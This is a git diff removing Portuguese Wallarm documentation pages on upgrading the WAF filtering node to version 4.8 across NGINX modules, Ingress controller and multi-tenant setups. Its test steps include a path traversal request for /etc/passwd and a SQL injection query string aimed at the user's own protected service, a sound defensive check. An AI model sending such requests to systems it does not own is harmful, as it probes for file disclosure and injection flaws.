- -Este documento descreve as recomendações e os riscos associados a um upgrade seguro do nó de filtragem Wallarm até a versão 4.8. - -## Recomendações Gerais - -* Planeje cuidadosamente e monitore o processo de atualização do nó de filtragem. As datas prováveis de lançamento para novas versões dos nódulos Wallarm são publicadas na [política de versionamento do nó Wallarm](versioning-policy.md). -* Se sua infraestrutura possuir vários nós Wallarm instalados, atualize-os gradualmente. Após a atualização do primeiro nó, monitore a operação dos módulos do nó dentro de um dia e atualize gradualmente os outros nós Wallarm se o primeiro nó operar corretamente. -* Para o modelo com ambientes de desenvolvimento e produção separados, atualize o nó de filtragem gradualmente. Primeiro, aplique e teste a nova versão em ambientes não produtivos, depois em ambientes de produção. Recomendações detalhadas estão descritas nas [instruções para configurar nós Wallarm para ambientes separados](../admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md#gradual-rollout-of-new-wallarm-node-changes). -* Antes de atualizar o nó de filtragem, desative a roteamento do tráfego através do nó usando qualquer método disponível para você (por exemplo, definindo o [modo de filtragem de tráfego](../admin-en/configure-wallarm-mode.md) para `desativado`). -* Uma vez que o módulo do nó de filtragem é atualizado, defina o modo de filtragem do nó para `monitoramento`. Se todos os módulos funcionarem corretamente e não houver um número anormal de novos falsos positivos no modo de `monitoramento` por um dia, então coloque o nó de filtragem no modo `bloqueio`. -* Atualize o NGINX para a versão mais recente disponível antes de aplicar as atualizações do nó Wallarm. Se sua infraestrutura precisa usar uma versão específica do NGINX, por favor, contate o [suporte técnico Wallarm](mailto:support@wallarm.com) para construir o módulo Wallarm para uma versão personalizada do NGINX. - -## Possíveis Riscos - -A seguir, estão os riscos que podem ocorrer ao atualizar o nó de filtragem. Para reduzir o impacto dos riscos, siga as orientações apropriadas quando atualizar. - -### Mudança de Funcionalidade - -* [O que há de novo no nó Wallarm 4.8](what-is-new.md) -* [O que há de novo ao atualizar o nó EOL (3.6 ou inferior)](older-versions/what-is-new.md) - -### Novos Falsos Positivos - -Melhoramos a análise de tráfego a cada nova versão do nó de filtragem. Isso significa que o número de falsos positivos diminui com cada nova versão. No entanto, cada aplicativo protegido tem suas próprias especificidades, por isso recomendamos analisar o trabalho da nova versão do nó de filtragem no modo `monitoramento` antes de habilitar o modo de bloqueio (`bloquear`). - -Para analisar o número de novos falsos positivos após a atualização: - -1. Implemente a nova versão do nó de filtragem no [modo](../admin-en/configure-wallarm-mode.md) `monitoramento` e envie o tráfego ao nó de filtragem. -2. Depois de algum tempo, abra a seção **Eventos** do Console Wallarm e analise o número de solicitações que são erroneamente reconhecidas como ataques. -3. Se você encontrar um crescimento anormal no número de falsos positivos, entre em contato com o [suporte técnico Wallarm](mailto:support@wallarm.com). - -### Aumento na Quantidade de Recursos Usados - -O uso de alguns novos recursos do nó de filtragem pode causar alterações na quantidade de recursos utilizados. As informações sobre as alterações na quantidade de recursos utilizados são destacadas na seção [O que há de novo](what-is-new.md). - -Além disso, recomenda-se monitorar a operação do nó de filtragem: se você detectar diferenças significativas na quantidade real de recursos usados e na quantidade especificada na documentação, por favor, contate o [suporte técnico Wallarm](mailto:support@wallarm.com). - -## Processo de Atualização - -O processo de atualização do nó Wallarm depende da plataforma e das formas de instalação. Selecione a forma de instalação e siga as instruções apropriadas: - -* [Módulos para NGINX, NGINX Plus](nginx-modules.md) -* [Contêiner Docker com os módulos para NGINX ou Envoy](docker-container.md) -* [Controlador de ingresso NGINX com módulos Wallarm integrados](ingress-controller.md) -* [Sidecar](sidecar-proxy.md) -* [Imagem de nó na nuvem](cloud-image.md) -* [Nó multi-inquilino](multi-tenant.md) -* [Nó CDN](cdn-node.md) -* [Migrando listas de permissão e listas de negação do nó Wallarm 2.18 e inferior para 4.8](migrate-ip-lists-to-node-3.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/ingress-controller.md b/docs/latest-pt-BR/updating-migrating/ingress-controller.md deleted file mode 100644 index c05940d58b..0000000000 --- a/docs/latest-pt-BR/updating-migrating/ingress-controller.md +++ /dev/null @@ -1,104 +0,0 @@ -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# Atualizando o controlador NGINX Ingress com módulos Wallarm integrados - -Estas instruções descrevem os passos para atualizar o controlador Ingress baseado em Wallarm NGINX que foi implantado, da versão 4.x para a nova versão com o nó Wallarm 4.8. - -Para atualizar o nó no fim da vida útil (3.6 ou inferior), por favor, use as [instruções diferentes](older-versions/ingress-controller.md). - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-nginx-ingress-controller-latest.md" - -## Passo 1: Atualize o repositório do chart Helm Wallarm - -```bash -helm repo update wallarm -``` - -## Passo 2: Verifique todas as mudanças vindo no K8s manifest - -Para evitar mudanças inesperadas no comportamento do controlador Ingress, verifique todas as mudanças vindo no K8s manifest usando o [Plugin Helm Diff](https://github.com/databus23/helm-diff). Este plugin mostra as diferenças entre os K8s manifestos da versão do controlador Ingress implantada e a nova. - -Para instalar e rodar o plugin: - -1. Instale o plugin: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. Rode o plugin: - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 4.8.2 -f - ``` - - * ``: o nome da release do Helm com o gráfico do controlador Ingress - * ``: o espaço de nomes no qual o controlador Ingress foi implantado - * ``: o caminho para o arquivo `values.yaml` que define as configurações do controlador Ingress 4.8 - você pode usar o que foi criado para executar a versão anterior do controlador Ingress -3. Certifique-se de que nenhuma mudança pode afetar a estabilidade dos serviços em execução e examine cuidadosamente os erros do stdout. - - Se stdout estiver vazio, certifique-se de que o arquivo `values.yaml` é válido. - -## Passo 3: Atualize o controlador Ingress - -Atualize o controlador NGINX Ingress implantado: - -``` bash -helm upgrade -n wallarm/wallarm-ingress --version 4.8.2 -f -``` - -* ``: o nome da release do Helm com o gráfico do controlador Ingress -* ``: o espaço de nomes no qual o controlador Ingress foi implantado -* ``: o caminho para o arquivo `values.yaml` que define as configurações do controlador Ingress 4.8 - você pode usar o que foi criado para executar a versão anterior do controlador Ingress - -## Passo 4: Teste o controlador Ingress atualizado - -1. Certifique-se de que a versão do gráfico do Helm foi atualizada: - - ```bash - helm list -n - ``` - - Onde `` é o espaço de nomes no qual o gráfico do Helm com o controlador Ingress foi implantado. - - A versão do gráfico deve corresponder ao `wallarm-ingress-4.8.2`. -1. Obtenha a lista de pods: - - ``` bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Cada status do pod deve ser **STATUS: Running** ou **READY: N/N**. Por exemplo: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-nginx-ingress-controller-675c68d46d-cfck8 3/3 Running 0 5m - ingress-controller-nginx-ingress-controller-wallarm-tarantljj8g 4/4 Running 0 5m - ``` - -1. Envie a requisição com o teste de ataque [Path Traversal](../attacks-vulns-list.md#path-traversal) para o endereço do controlador Ingress Wallarm: - - ```bash - curl http:///etc/passwd - ``` - - Verifique se a solução da versão mais recente processa a solicitação maliciosa da mesma forma que na versão anterior. - -## Passo 5: Atualize a página de bloqueio da Wallarm - -Se a página `&/usr/share/nginx/html/wallarm_blocked.html` configurada via anotações Ingress está sendo retornada para solicitações bloqueadas, [ajuste sua configuração](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) para as mudanças lançadas. - -Nas novas versões do nó, a página de bloqueio da Wallarm [tem](what-is-new.md#new-blocking-page) a IU atualizada sem logo e sem e-mail de suporte especificado por padrão. diff --git a/docs/latest-pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/latest-pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 7089df5244..0000000000 --- a/docs/latest-pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1,27 +0,0 @@ -# Migrando listas de permissão e negação do Wallarm node 2.18 e inferiores para 4.8 - -A partir do Wallarm node 3.x, o método de configuração das listas de permissão e negação do endereço IP foi alterado. Este documento instrui como migrar as listas de permissão e negação configuradas no Wallarm node 2.18 ou inferior para o Wallarm node mais recente. - -## O que mudou? - -A configuração das listas de permissão e negação do endereço IP mudou da seguinte forma: - -* As diretivas `wallarm_acl_*` do NGINX, parâmetros `acl` do Envoy e variáveis de ambiente `WALLARM_ACL_*` foram depreciadas. Agora, as listas IP são configuradas da seguinte maneira: - - * Passos adicionais para habilitar a funcionalidade de permissão ou negação por IP não são necessários. O Wallarm node baixa as listas de endereços IP do Wallarm Cloud por padrão e aplica os dados baixados ao processar as requisições recebidas. - * A página de bloqueio e o código de erro retornados na resposta à solicitação bloqueada são configurados usando a diretiva [`wallarm_block_page`](../admin-en/configure-parameters-en.md#wallarm_block_page) em vez de `wallarm_acl_block_page`. -* Os endereços IP na lista de permissão e negação são gerenciados através do Console Wallarm. -* Os endereços IP do [Scanner de Vulnerabilidades Wallarm](../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) estão na lista de permissão por padrão. Não é mais necessário permitir manualmente os endereços IP do Scanner. - -## Procedimento para migração de configuração de lista de permissão e negação - -1. Informe o [suporte técnico da Wallarm](mailto:support@wallarm.com) que você está atualizando os módulos do nó de filtragem para a versão mais recente e peça para habilitar a nova lógica de listas IP para sua conta Wallarm. - - Quando a nova lógica de listas IP estiver habilitada, abra o Console Wallarm e verifique se a seção [**Listas IP**](../user-guides/ip-lists/overview.md) está disponível. -2. Se estiver atualizando o nó Wallarm multi-tenant, exclua os scripts usados para sincronizar a lista de negação do endereço IP e o nó multi-tenant 2.18 ou inferior. A partir da versão 3.2, a integração manual de [listas IP](../user-guides/ip-lists/overview.md) não é mais necessária. -3. Atualize os módulos do nó de filtragem para a versão 4.8 seguindo as [instruções apropriadas](general-recommendations.md#update-process). -4. Remova a lista de permissão dos endereços IP do Scanner Wallarm dos arquivos de configuração do nó de filtragem. A partir dos nós de filtragem 3.x, os endereços IP do Scanner estão na lista de permissão por padrão. -5. Se os métodos listados são usados para permitir outros endereços IP que não devem ser bloqueados pelo nó de filtragem, mova-os para a [Lista de Permissões no Console Wallarm](../user-guides/ip-lists/allowlist.md). -6. Se você usou a diretiva `wallarm_acl_block_page` para configurar a página de bloqueio e o código de erro retornados quando o IP da lista de negação originou a solicitação, substitua o nome da diretiva por `wallarm_block_page` e atualize seu valor seguindo as [instruções](../admin-en/configuration-guides/configure-block-page-and-code.md). -7. Remova as variáveis de ambiente `WALLARM_ACL_*` do NGINX e do Envoy dos comandos `docker run` [NGINX](../admin-en/installation-docker-en.md) e [Envoy](../admin-en/installation-guides/envoy/envoy-docker.md). -8. (Opcional) Remova as diretivas NGINX `wallarm_acl_*` e parâmetros `acl` do Envoy dos arquivos de configuração do nó de filtragem. \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/multi-tenant.md b/docs/latest-pt-BR/updating-migrating/multi-tenant.md deleted file mode 100644 index 2a97523b2d..0000000000 --- a/docs/latest-pt-BR/updating-migrating/multi-tenant.md +++ /dev/null @@ -1,28 +0,0 @@ -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png - -# Atualizando o nó multilocatário - -Estas instruções descrevem os passos para atualizar o nó multilocatário 4.x até 4.8. - -Para atualizar o nó multilocatário fim-de-vida (3.6 ou inferior), por favor, use as [instruções diferentes](older-versions/multi-tenant.md). - -## Requisitos - -* Execução de comandos adicionais pelo usuário com a função **Administrador Global** adicionada sob a [conta de inquilino técnico](../installation/multi-tenant/configure-accounts.md#tenant-account-structure) -* Acesso a `https://us1.api.wallarm.com` se trabalhando com Wallarm Cloud nos EUA ou `https://api.wallarm.com` se trabalhando com Wallarm Cloud na UE. Por favor, assegure-se de que o acesso não esteja bloqueado por um firewall - -## Siga o procedimento padrão de atualização - -Os procedimentos padrão são para: - -* [Atualizar os módulos Wallarm NGINX](nginx-modules.md) -* [Atualizar o módulo pós-análise](separate-postanalytics.md) -* [Atualizar a imagem NGINX- ou Envoy-baseada em Docker do Wallarm](docker-container.md) -* [Atualizar o controlador de entrada NGINX com módulos Wallarm integrados](ingress-controller.md) -* [Atualizar a imagem do nó na nuvem](cloud-image.md) - -!!! aviso "Criando o nó multilocatário" - Durante a criação do nó Wallarm, por favor, selecione a opção **Nó Multilocatário**: - - ![Criação de nó multilocatário](../images/user-guides/nodes/create-multi-tenant-node.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/nginx-modules.md b/docs/latest-pt-BR/updating-migrating/nginx-modules.md deleted file mode 100644 index 032654cb37..0000000000 --- a/docs/latest-pt-BR/updating-migrating/nginx-modules.md +++ /dev/null @@ -1,448 +0,0 @@ -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[oob-docs]: ../installation//oob/overview.md -[sqli-attack-docs]: ../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../installation/oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring - - - -# Atualizando módulos NGINX Wallarm - -Estas instruções descrevem as etapas para atualizar os módulos NGINX Wallarm 4.x instalados a partir dos pacotes individuais para a versão 4.8. Estes são os módulos instalados de acordo com uma das seguintes instruções: - -* [Pacotes individuais para NGINX estável](../installation/nginx/dynamic-module.md) -* [Pacotes individuais para NGINX Plus](../installation/nginx-plus.md) -* [Pacotes individuais para distribuição fornecida NGINX](../installation/nginx/dynamic-module-from-distr.md) - -Para atualizar o nó de fim de vida (3.6 ou inferior), utilize as [diferentes instruções](older-versions/nginx-modules.md). - -## Métodos de atualização - ---8<-- "../include-pt-BR/waf/installation/upgrade-methods.md" - -## Atualização com instalador all-in-one - -Use o procedimento abaixo para atualizar os módulos NGINX Wallarm 4.x para a versão 4.8 usando [instalador all-in-one](../installation/nginx/all-in-one.md). - -### Requisitos para atualização usando o instalador all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md" - -### Procedimento de atualização - -* Se os módulos de nó filtragem e postanálise estiverem instalados no mesmo servidor, siga as instruções abaixo para atualizar todos. - - Você precisará executar um nó da versão mais recente usando o instalador all-in-one em uma máquina limpa, testar se funciona corretamente e parar o anterior e configurar o tráfego para fluir através da nova máquina em vez da anterior. - -* Se os módulos de nó de filtragem e postanálise estiverem instalados em servidores diferentes, **primeiro** atualize o módulo de postanálise e **depois** o módulo de filtragem seguindo estas [instruções](../updating-migrating/separate-postanalytics.md). - -### Etapa 1: Prepara máquina limpa - ---8<-- "../include-pt-BR/waf/installation/all-in-one-clean-machine.md" - -### Etapa 2: Instale o NGINX e as dependências - ---8<-- "../include-pt-BR/waf/installation/all-in-one-nginx.md" - -### Etapa 3: Preparar token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -### Etapa 4: Baixar o instalador all-in-one do Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Etapa 5: Execute o instalador all-in-one do Wallarm - -#### Nó de filtragem e postanálise no mesmo servidor - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-run.md" - -#### Nó de filtragem e postanálise em servidores diferentes - -!!! warning "Sequência de etapas para atualizar os módulos de nó de filtragem e postanálise" - Se os módulos de nó de filtragem e postanálise estiverem instalados em servidores diferentes, então é necessário atualizar os pacotes de postanálise antes de atualizar os pacotes do nó de filtragem. - -1. Atualize o módulo postanálise seguindo estas [instruções](separate-postanalytics.md). -1. Atualize o nó de filtragem: - - === "API token" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - - A variável `WALLARM_LABELS` define o grupo em que o nó será adicionado (usado para agrupamento lógico de nós na IU do Console Wallarm). - - === "Nó token" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - -### Etapa 6: Transferir configuração do NGINX e postanálise de máquina antiga para nova - -Transfira a configuração do NGINX relacionada ao nó e a configuração de postanálise dos arquivos de configuração na máquina antiga para os arquivos em uma nova máquina. Você pode fazer isso copiando as diretivas necessárias. - -**Arquivos de origem** - -Na máquina antiga, dependendo do sistema operacional e da versão do NGINX, os arquivos de configuração do NGINX podem estar localizados em diretórios diferentes e ter nomes diferentes. Os mais comuns são os seguintes: - -* `/etc/nginx/conf.d/default.conf` com configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a diferentes grupos de domínio, o arquivo `default.conf` geralmente é usado ou um novo arquivo de configuração é criado para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -* `/etc/nginx/conf.d/wallarm-status.conf` com configurações de monitoramento do nó Wallarm. Descrição detalhada disponível no [link][wallarm-status-instr] - -Também, a configuração do módulo postanálise (configurações do banco de dados Tarantool) geralmente está localizada aqui: - -* `/etc/default/wallarm-tarantool` ou -* `/etc/sysconfig/wallarm-tarantool` - -**Arquivos de destino** - -Como o instalador all-in-one funciona com diferentes combinações de sistema operacional e versões do NGINX, na sua nova máquina, os [arquivos de destino](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) podem ter nomes diferentes e estar localizados em diretórios diferentes. - -### Etapa 7: Reiniciar NGINX - ---8<-- "../include-pt-BR/waf/installation/restart-nginx-systemctl.md" - -### Etapa 8: Testar operação do nó Wallarm - -Para testar a operação do novo nó: - -1. Envie a solicitação com ataques de teste [SQLI][sqli-attack-docs] e [XSS][xss-attack-docs] para o endereço do recurso protegido: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. Abra o console Wallarm → seção **Eventos** no [Cloud dos EUA](https://us1.my.wallarm.com/attacks) ou [Cloud da UE](https://my.wallarm.com/attacks) e certifique-se de que os ataques estão exibidos na lista. -1. Assim que seus dados armazenados em Cloud (regras, listas de IP) estiverem sincronizados para o novo nó, realize alguns ataques de teste para garantir que suas regras funcionem como esperado. - -### Etapa 9: Configurar envio de tráfego para o nó Wallarm - -Dependendo da abordagem de implantação em uso, realize as seguintes configurações: - -=== "In-line" - Atualize os alvos de seu balanceador de carga para enviar tráfego para a instância Wallarm. Para detalhes, consulte a documentação do seu balanceador de carga. - - Antes de redirecionar completamente o tráfego para o novo nó, é recomendável primeiro redirecioná-lo parcialmente e verificar se o novo nó se comporta conforme o esperado. - -=== "Fora de banda" - Configure seu servidor web ou proxy (por exemplo, NGINX, Envoy) para espelhar o tráfego de entrada para o nó Wallarm. Para detalhes de configuração, recomendamos consultar a documentação do seu servidor web ou proxy. - - Dentro do [link][web-server-mirroring-examples], você encontrará a configuração de exemplo para os servidores web e proxy mais populares (NGINX, Traefik, Envoy). - -### Etapa 10: Remover nó antigo - -1. Exclua o nó antigo no console Wallarm → **Nós** selecionando seu nó e clicando em **Excluir**. -1. Confirme a ação. - - Quando o nó é excluído do Cloud, ele para a filtragem das solicitações para suas aplicações. Excluir o nó de filtragem não pode ser desfeito. O nó será excluído permanentemente da lista de nós. - -1. Exclua máquina com o nó antigo ou simplesmente limpe-a dos componentes do nó Wallarm: - - === "Debian" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - -## Atualização manual - -Use o procedimento abaixo para atualizar manualmente os módulos NGINX Wallarm 4.x para a versão 4.8. - -### Requisitos para atualização manual - ---8<-- "../include-pt-BR/waf/installation/basic-reqs-for-upgrades.md" - -### Procedimento de atualização - -* Se os módulos de nó de filtragem e postanálise estiverem instalados no mesmo servidor, siga as instruções abaixo para atualizar todos os pacotes. -* Se os módulos de nó de filtragem e postanálise estiverem instalados em servidores diferentes, **primeiro** atualize o módulo de postanálise seguindo estas [instruções](separate-postanalytics.md) e, em seguida, execute as etapas abaixo para os módulos do nó de filtragem. - -### Etapa 1: Atualizar NGINX para a versão mais recente - -Atualize o NGINX para a versão mais recente usando as instruções relevantes: - -=== "NGINX estável" - - Distribuições baseadas em DEB: - - ```bash - sudo apt update - sudo apt -y install nginx - ``` - - Distribuições baseadas em RPM: - - ```bash - sudo yum update - sudo yum install -y nginx - ``` -=== "NGINX Plus" - Para NGINX Plus, siga as [instruções oficiais de atualização](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/#upgrading-nginx-plus). -=== "NGINX de repositório Debian/CentOS" - Para NGINX [instalado de repositório Debian/CentOS](../installation/nginx/dynamic-module-from-distr.md), pule esta etapa. A versão instalada do NGINX será atualizada [mais tarde](#step-4-upgrade-wallarm-packages) junto com os módulos Wallarm. - -Se sua infraestrutura precisa usar uma versão específica do NGINX, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com) para construir o módulo Wallarm para uma versão personalizada do NGINX. - -### Etapa 2: Adicionar novo repositório Wallarm - -Exclua o endereço do repositório Wallarm anterior e adicione um repositório com um novo pacote de versão do nó Wallarm. Use os comandos para a plataforma apropriada. - -**CentOS e Amazon Linux 2.0.2021x e inferior** - -=== "CentOS 7 e Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**Debian e Ubuntu** - -1. Abra o arquivo com o endereço do repositório Wallarm no editor de texto instalado. Nestas instruções, **vim** é usado. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. Comente ou exclua o endereço do repositório anterior. -3. Adicione um novo endereço de repositório: - - === "Debian 10.x (buster)" - !!! warning "Não suportado pelo NGINX estável e NGINX Plus" - As versões oficiais do NGINX (estável e Plus) e, como resultado, o nó Wallarm 4.4 e superior não podem ser instalados no Debian 10.x (buster). Use este sistema operacional apenas se o [NGINX estiver instalado a partir dos repositórios Debian/CentOS](../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "Debian 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### Etapa 3: Atualizar pacotes Wallarm - -#### Nó de filtragem e postanálise no mesmo servidor - -1. Execute o seguinte comando para atualizar os módulos de nó de filtragem e postanálise: - - === "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" - === "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum update - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum update - ``` - === "RHEL 8.x" - ```bash - sudo yum update - ``` -2. Se o gerenciador de pacotes perguntar por confirmação para reescrever o conteúdo do arquivo de configuração `/etc/cron.d/wallarm-node-nginx`, envie a opção `Y`. - - O conteúdo do `/etc/cron.d/wallarm-node-nginx` deve ser atualizado para que o novo script de contagem de RPS seja baixado. - - Por padrão, o gerenciador de pacotes usa a opção `N`, mas a opção `Y` é necessária para a contagem correta de RPS. - -#### Nó de filtragem e postanálise em servidores diferentes - -!!! warning "Sequência de etapas para atualizar os módulos de nó de filtragem e postanálise" - Se os módulos de nó de filtragem e postanálise estiverem instalados em servidores diferentes, é necessário atualizar os pacotes de postanálise antes de atualizar os pacotes do nó de filtragem. - -1. Atualize os pacotes de postanálise seguindo estas [instruções](separate-postanalytics.md). -2. Atualize os pacotes do nó Wallarm: - - === "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" - === "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum update - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum update - ``` - === "RHEL 8.x" - ```bash - sudo yum update - ``` -3. Se o gerenciador de pacotes perguntar por confirmação para reescrever o conteúdo do arquivo de configuração `/etc/cron.d/wallarm-node-nginx`, envie a opção `Y`. - - O conteúdo do `/etc/cron.d/wallarm-node-nginx` deve ser atualizado para que o novo script de contagem de RPS seja baixado. - - Por padrão, o gerenciador de pacotes usa a opção `N`, mas a opção `Y` é necessária para a contagem correta de RPS. - -### Etapa 4: Atualizar o tipo de nó - -!!! info "Apenas para nós instalados usando o script `addnode`" - Só siga este passo se um nó da versão anterior estiver conectado ao Wallarm Cloud usando o script `addnode`. Este script foi [removido](what-is-new.md#removal-of-the-email-password-based-node-registration) e substituído pelo `register-node`, que requer um token para registrar o nó no Cloud. - -1. Certifique-se de que sua conta Wallarm tem a função **Administrador** navegando para a lista de usuários no [Cloud dos EUA](https://us1.my.wallarm.com/settings/users) ou [Cloud da UE](https://my.wallarm.com/settings/users). - - ![Lista de usuários no console Wallarm][img-wl-console-users] -1. Abra o console Wallarm → **Nós** no [Cloud dos EUA](https://us1.my.wallarm.com/nodes) ou [Cloud da UE](https://my.wallarm.com/nodes) e crie um nó do tipo **Nó Wallarm**. - - ![Criação de nó Wallarm][img-create-wallarm-node] - - !!! info "Se o módulo de postanálise estiver instalado em um servidor separado" - Se os módulos de processamento de tráfego inicial e postanálise estiverem instalados em servidores separados, é recomendado conectar esses módulos ao Wallarm Cloud usando o mesmo token de nó. A IU do Console Wallarm exibirá cada módulo como uma instância de nó separada, por exemplo: - - ![Nó com várias instâncias](../images/user-guides/nodes/wallarm-node-with-two-instances.png) - - O nó Wallarm já foi criado durante a [atualização do módulo 